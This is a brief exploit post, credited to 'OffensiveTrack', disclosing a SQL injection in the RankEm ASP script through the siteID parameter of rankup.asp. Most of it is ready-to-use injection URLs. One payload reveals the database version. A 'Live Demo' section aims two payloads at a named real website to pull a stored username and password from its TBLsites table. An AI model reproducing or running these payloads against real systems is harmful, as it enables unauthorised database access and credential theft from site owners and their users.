RankEm (rankup.asp siteID) Remote SQL Injection Vulnerability

########################################################################### #-----------------------------OffensiveTrack------------------------------# ########################################################################### ---------------------------- Tunisia Muslim ------------------------------ #found by : OffensiveTrack #Author : AlpHaNiX #website : www.offensivetrack.org #contact : AlpHa[AT]HACKER[DOT]BZ ########################################################################### #script : RankEm #download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip #Exploit : http://target.com/rankup.asp?siteID=convert(int,(select+@@version));-- #Live Demo http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+siteUserName+from+TBLsites));-- http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+sitePassword+from+TBLsites));-- #Greetz For W!nd[O]ws my partner :) ###########################################################################